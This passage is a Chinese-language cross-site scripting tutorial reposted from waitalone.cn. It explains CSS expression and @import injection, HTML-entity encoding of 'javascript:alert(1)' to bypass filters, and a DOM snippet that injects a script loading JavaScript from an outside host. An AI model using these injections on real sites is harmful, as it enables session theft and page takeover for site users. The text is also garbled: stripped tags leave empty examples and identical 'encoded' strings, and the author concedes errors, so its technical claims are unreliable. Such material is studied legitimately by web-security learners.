expression是ie独有的css属性，其目的是为了插入一段javascript代码。

在ie6下执行成功。

@import "http://www.waitalone.cn/xss.css";

可以从外部导入存在xss代码的css样式。

如果css属性可控，除了可以在expression后面添加javascript代码执行外，还可以像（2）（3）一样通过闭合标签和属性值来达到执行javascript的目的。

乌云上的案例： CSS未过滤导致XSS

综上，可以在html里执行javascript的地方有

1、利用 javascript:在属性值里

2、事件驱动属性

3、标签中（包括这种形式）

4、CSS中的expression属性中（仅IE）。

二、为什么编码后的代码仍然可以执行？

（1）上面的$a是没被过滤的，但假如被过滤了怎么办，假如只是黑名单过滤了javascript，或者只是对$a进行了htmlspecialchars()转换。 执行javascript的地方只进行了html编码。

f4ck

$a的 值

javascript:alert(1)

$a的值

javascript:alert(1)

$a的值:

javascript:alert(1)

以上为html的三种编码。提交后，可以绕过黑名单javascript，进行htmlspecialchars()编码是不会发生任何变化的，那么，这段代码为什么会执行？
因为这个代码，浏览器从头解析当解析到，$a的值时，正常将它解码，就变成 javascript:alert(1)，然后这个代码在href属性中，所以就执行了。

三、怎么远程加载外部js？

先来说说html标记，html标记其实可以分为两种

1、文本用闭合标签。

例：

f4ck

2、引用内容用自闭合标签。

例：

浏览器会在html页面加载时，额外向服务器发送请求，注：这里是html标签的特性，不要和同源策略相混淆，同源策略是用来限制浏览器的。

加载进来的js和本域是同源的。

哪些标签可以远程加载外部js，并执行呢？

其实3就是dom的方法创建和插入节点。

var s=document.createElement("script");
s.src="http://www.waitalone.cn/xss.js";
document.getElementsByTagName("head")[0].appendChild(s);

直接用3用于

后记：后面写的有点乱，可能有错误的，欢迎提出。

原文地址：

http://sb.f4ck.org/thread-14663-1-1.html

http://www.waitalone.cn/7497.html

from www.waitalone.cn.thanks for it.